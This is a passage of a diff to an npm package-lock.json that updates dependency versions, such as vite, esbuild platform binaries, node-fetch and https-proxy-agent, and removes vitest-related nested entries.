+        "https-proxy-agent": "^7.0.1",
+        "node-fetch": "^3.3.2",
+        "stream-events": "^1.0.5"
       },
       "engines": {
-        "node": ">=14"
+        "node": ">=18"
+      }
+    },
+    "node_modules/teeny-request/node_modules/agent-base": {
+      "version": "7.1.4",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",
+      "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 14"
       }
     },
     "node_modules/teeny-request/node_modules/debug": {
-      "version": "4.3.7",
-      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
-      "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
       "license": "MIT",
       "dependencies": {
         "ms": "^2.1.3"
@@ -25525,31 +25215,35 @@
         }
       }
     },
-    "node_modules/teeny-request/node_modules/http-proxy-agent": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz",
-      "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==",
+    "node_modules/teeny-request/node_modules/https-proxy-agent": {
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz",
+      "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==",
       "license": "MIT",
       "dependencies": {
-        "@tootallnate/once": "2",
-        "agent-base": "6",
+        "agent-base": "^7.1.2",
         "debug": "4"
       },
       "engines": {
-        "node": ">= 6"
+        "node": ">= 14"
       }
     },
-    "node_modules/teeny-request/node_modules/uuid": {
-      "version": "9.0.1",
-      "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz",
-      "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==",
-      "funding": [
-        "https://github.com/sponsors/broofa",
-        "https://github.com/sponsors/ctavan"
-      ],
+    "node_modules/teeny-request/node_modules/node-fetch": {
+      "version": "3.3.2",
+      "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz",
+      "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==",
       "license": "MIT",
-      "bin": {
-        "uuid": "dist/bin/uuid"
+      "dependencies": {
+        "data-uri-to-buffer": "^4.0.0",
+        "fetch-blob": "^3.1.4",
+        "formdata-polyfill": "^4.0.10"
+      },
+      "engines": {
+        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/node-fetch"
       }
     },
     "node_modules/text-hex": {
@@ -26534,35 +26228,6 @@
       "integrity": "sha512-HXgFDgDommxn5/bIv0cnQZsPhHDA90NPHD6+c/v21U5+Sx5hoP8+dP9IZXBU1gIfvdRfhG8cel9QNPeionfcCQ==",
       "license": "MIT"
     },
-    "node_modules/url": {
-      "version": "0.10.3",
-      "resolved": "https://registry.npmjs.org/url/-/url-0.10.3.tgz",
-      "integrity": "sha512-hzSUW2q06EqL1gKM/a+obYHLIO6ct2hwPuviqTTOcfFVc61UbfJ2Q32+uGL/HCPxKqrdGB5QUwIe7UqlDgwsOQ==",
-      "license": "MIT",
-      "dependencies": {
-        "punycode": "1.3.2",
-        "querystring": "0.2.0"
-      }
-    },
-    "node_modules/url/node_modules/punycode": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz",
-      "integrity": "sha512-RofWgt/7fL5wP1Y7fxE7/EmTLzQVnB0ycyibJ0OOHIlJqTNzglYFxVwETOcIoJqJmpDXJ9xImDv+Fq34F/d4Dw==",
-      "license": "MIT"
-    },
-    "node_modules/util": {
-      "version": "0.12.5",
-      "resolved": "https://registry.npmjs.org/util/-/util-0.12.5.tgz",
-      "integrity": "sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==",
-      "license": "MIT",
-      "dependencies": {
-        "inherits": "^2.0.3",
-        "is-arguments": "^1.0.4",
-        "is-generator-function": "^1.0.7",
-        "is-typed-array": "^1.1.3",
-        "which-typed-array": "^1.1.2"
-      }
-    },
     "node_modules/util-deprecate": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
@@ -26650,68 +26315,14 @@
         "node": ">=0.6.0"
       }
     },
-    "node_modules/vite-node": {
-      "version": "3.2.4",
-      "resolved": "https://registry.npmjs.org/vite-node/-/vite-node-3.2.4.tgz",
-      "integrity": "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "cac": "^6.7.14",
-        "debug": "^4.4.1",
-        "es-module-lexer": "^1.7.0",
-        "pathe": "^2.0.3",
-        "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0"
-      },
-      "bin": {
-        "vite-node": "vite-node.mjs"
-      },
-      "engines": {
-        "node": "^18.0.0 || ^20.0.0 || >=22.0.0"
-      },
-      "funding": {
-        "url": "https://opencollective.com/vitest"
-      }
-    },
-    "node_modules/vite-node/node_modules/debug": {
-      "version": "4.4.3",
-      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
-      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "ms": "^2.1.3"
-      },
-      "engines": {
-        "node": ">=6.0"
-      },
-      "peerDependenciesMeta": {
-        "supports-color": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/vite-node/node_modules/picomatch": {
-      "version": "4.0.4",
-      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz",
-      "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==",
-      "dev": true,
-      "license": "MIT",
-      "engines": {
-        "node": ">=12"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/jonschlinkert"
-      }
-    },
-    "node_modules/vite-node/node_modules/vite": {
-      "version": "7.1.12",
-      "resolved": "https://registry.npmjs.org/vite/-/vite-7.1.12.tgz",
-      "integrity": "sha512-ZWyE8YXEXqJrrSLvYgrRP7p62OziLW7xI5HYGWFzOvupfAlrLvURSzv/FyGyy0eidogEM3ujU+kUG1zuHgb6Ug==",
+    "node_modules/vite": {
+      "version": "7.3.2",
+      "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.2.tgz",
+      "integrity": "sha512-Bby3NOsna2jsjfLVOHKes8sGwgl4TT0E6vvpYgnAYDIF/tie7MRaFthmKuHx1NSXjiTueXH3do80FMQgvEktRg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "esbuild": "^0.25.0",
+        "esbuild": "^0.27.0",
         "fdir": "^6.5.0",
         "picomatch": "^4.0.3",
         "postcss": "^8.5.6",
@@ -26779,107 +26390,30 @@
         }
       }
     },
-    "node_modules/vitest": {
+    "node_modules/vite-node": {
       "version": "3.2.4",
-      "resolved": "https://registry.npmjs.org/vitest/-/vitest-3.2.4.tgz",
-      "integrity": "sha512-LUCP5ev3GURDysTWiP47wRRUpLKMOfPh+yKTx3kVIEiu5KOMeqzpnYNsKyOoVrULivR8tLcks4+lga33Whn90A==",
+      "resolved": "https://registry.npmjs.org/vite-node/-/vite-node-3.2.4.tgz",
+      "integrity": "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@types/chai": "^5.2.2",
-        "@vitest/expect": "3.2.4",
-        "@vitest/mocker": "3.2.4",
-        "@vitest/pretty-format": "^3.2.4",
-        "@vitest/runner": "3.2.4",
-        "@vitest/snapshot": "3.2.4",
-        "@vitest/spy": "3.2.4",
-        "@vitest/utils": "3.2.4",
-        "chai": "^5.2.0",
+        "cac": "^6.7.14",
         "debug": "^4.4.1",
-        "expect-type": "^1.2.1",
-        "magic-string": "^0.30.17",
+        "es-module-lexer": "^1.7.0",
         "pathe": "^2.0.3",
-        "picomatch": "^4.0.2",
-        "std-env": "^3.9.0",
-        "tinybench": "^2.9.0",
-        "tinyexec": "^0.3.2",
-        "tinyglobby": "^0.2.14",
-        "tinypool": "^1.1.1",
-        "tinyrainbow": "^2.0.0",
-        "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0",
-        "vite-node": "3.2.4",
-        "why-is-node-running": "^2.3.0"
+        "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0"
       },
       "bin": {
-        "vitest": "vitest.mjs"
+        "vite-node": "vite-node.mjs"
       },
       "engines": {
         "node": "^18.0.0 || ^20.0.0 || >=22.0.0"
       },
       "funding": {
         "url": "https://opencollective.com/vitest"
-      },
-      "peerDependencies": {
-        "@edge-runtime/vm": "*",
-        "@types/debug": "^4.1.12",
-        "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0",
-        "@vitest/browser": "3.2.4",
-        "@vitest/ui": "3.2.4",
-        "happy-dom": "*",
-        "jsdom": "*"
-      },
-      "peerDependenciesMeta": {
-        "@edge-runtime/vm": {
-          "optional": true
-        },
-        "@types/debug": {
-          "optional": true
-        },
-        "@types/node": {
-          "optional": true
-        },
-        "@vitest/browser": {
-          "optional": true
-        },
-        "@vitest/ui": {
-          "optional": true
-        },
-        "happy-dom": {
-          "optional": true
-        },
-        "jsdom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/vitest/node_modules/@vitest/mocker": {
-      "version": "3.2.4",
-      "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-3.2.4.tgz",
-      "integrity": "sha512-46ryTE9RZO/rfDd7pEqFl7etuyzekzEhUbTW3BvmeO/BcCMEgq59BKhek3dXDWgAj4oMK6OZi+vRr1wPW6qjEQ==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "@vitest/spy": "3.2.4",
-        "estree-walker": "^3.0.3",
-        "magic-string": "^0.30.17"
-      },
-      "funding": {
-        "url": "https://opencollective.com/vitest"
-      },
-      "peerDependencies": {
-        "msw": "^2.4.9",
-        "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0"
-      },
-      "peerDependenciesMeta": {
-        "msw": {
-          "optional": true
-        },
-        "vite": {
-          "optional": true
-        }
       }
     },
-    "node_modules/vitest/node_modules/debug": {
+    "node_modules/vite-node/node_modules/debug": {
       "version": "4.4.3",
       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
       "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
@@ -26897,94 +26431,634 @@
         }
       }
     },
-    "node_modules/vitest/node_modules/picomatch": {
-      "version": "4.0.4",
-      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz",
-      "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==",
+    "node_modules/vite/node_modules/@esbuild/aix-ppc64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.7.tgz",
+      "integrity": "sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==",
+      "cpu": [
+        "ppc64"
+      ],
       "dev": true,
       "license": "MIT",
+      "optional": true,
+      "os": [
+        "aix"
+      ],
       "engines": {
-        "node": ">=12"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/jonschlinkert"
+        "node": ">=18"
       }
     },
-    "node_modules/vitest/node_modules/vite": {
-      "version": "7.1.12",
-      "resolved": "https://registry.npmjs.org/vite/-/vite-7.1.12.tgz",
-      "integrity": "sha512-ZWyE8YXEXqJrrSLvYgrRP7p62OziLW7xI5HYGWFzOvupfAlrLvURSzv/FyGyy0eidogEM3ujU+kUG1zuHgb6Ug==",
+    "node_modules/vite/node_modules/@esbuild/android-arm": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.7.tgz",
+      "integrity": "sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==",
+      "cpu": [
+        "arm"
+      ],
       "dev": true,
       "license": "MIT",
-      "dependencies": {
-        "esbuild": "^0.25.0",
-        "fdir": "^6.5.0",
-        "picomatch": "^4.0.3",
-        "postcss": "^8.5.6",
-        "rollup": "^4.43.0",
-        "tinyglobby": "^0.2.15"
-      },
-      "bin": {
-        "vite": "bin/vite.js"
-      },
+      "optional": true,
+      "os": [
+        "android"
+      ],
       "engines": {
-        "node": "^20.19.0 || >=22.12.0"
-      },
-      "funding": {
-        "url": "https://github.com/vitejs/vite?sponsor=1"
-      },
-      "optionalDependencies": {
-        "fsevents": "~2.3.3"
-      },
-      "peerDependencies": {
-        "@types/node": "^20.19.0 || >=22.12.0",
-        "jiti": ">=1.21.0",
-        "less": "^4.0.0",
-        "lightningcss": "^1.21.0",
-        "sass": "^1.70.0",
-        "sass-embedded": "^1.70.0",
-        "stylus": ">=0.54.8",
-        "sugarss": "^5.0.0",
-        "terser": "^5.16.0",
-        "tsx": "^4.8.1",
-        "yaml": "^2.4.2"
-      },
-      "peerDependenciesMeta": {
-        "@types/node": {
-          "optional": true
-        },
-        "jiti": {
-          "optional": true
-        },
-        "less": {
-          "optional": true
-        },
-        "lightningcss": {
-          "optional": true
-        },
-        "sass": {
-          "optional": true
-        },
-        "sass-embedded": {
-          "optional": true
-        },
-        "stylus": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/android-arm64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.7.tgz",
+      "integrity": "sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/android-x64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.7.tgz",
+      "integrity": "sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/darwin-arm64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.7.tgz",
+      "integrity": "sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/darwin-x64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.7.tgz",
+      "integrity": "sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/freebsd-arm64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.7.tgz",
+      "integrity": "sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/freebsd-x64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.7.tgz",
+      "integrity": "sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/linux-arm": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.7.tgz",
+      "integrity": "sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==",
+      "cpu": [
+        "arm"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/linux-arm64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.7.tgz",
+      "integrity": "sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/linux-ia32": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.7.tgz",
+      "integrity": "sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==",
+      "cpu": [
+        "ia32"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/linux-loong64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.7.tgz",
+      "integrity": "sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==",
+      "cpu": [
+        "loong64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/linux-mips64el": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.7.tgz",
+      "integrity": "sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==",
+      "cpu": [
+        "mips64el"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/linux-ppc64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.7.tgz",
+      "integrity": "sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==",
+      "cpu": [
+        "ppc64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/linux-riscv64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.7.tgz",
+      "integrity": "sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==",
+      "cpu": [
+        "riscv64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/linux-s390x": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.7.tgz",
+      "integrity": "sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==",
+      "cpu": [
+        "s390x"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/linux-x64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.7.tgz",
+      "integrity": "sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/netbsd-arm64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.7.tgz",
+      "integrity": "sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "netbsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/netbsd-x64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.7.tgz",
+      "integrity": "sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "netbsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/openbsd-arm64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.7.tgz",
+      "integrity": "sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openbsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/openbsd-x64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.7.tgz",
+      "integrity": "sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openbsd"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/openharmony-arm64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.7.tgz",
+      "integrity": "sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openharmony"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/sunos-x64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.7.tgz",
+      "integrity": "sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "sunos"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/win32-arm64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.7.tgz",
+      "integrity": "sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/win32-ia32": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.7.tgz",
+      "integrity": "sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==",
+      "cpu": [
+        "ia32"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/@esbuild/win32-x64": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.7.tgz",
+      "integrity": "sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/vite/node_modules/esbuild": {
+      "version": "0.27.7",
+      "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.7.tgz",
+      "integrity": "sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==",
+      "dev": true,
+      "hasInstallScript": true,
+      "license": "MIT",
+      "bin": {
+        "esbuild": "bin/esbuild"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "optionalDependencies": {
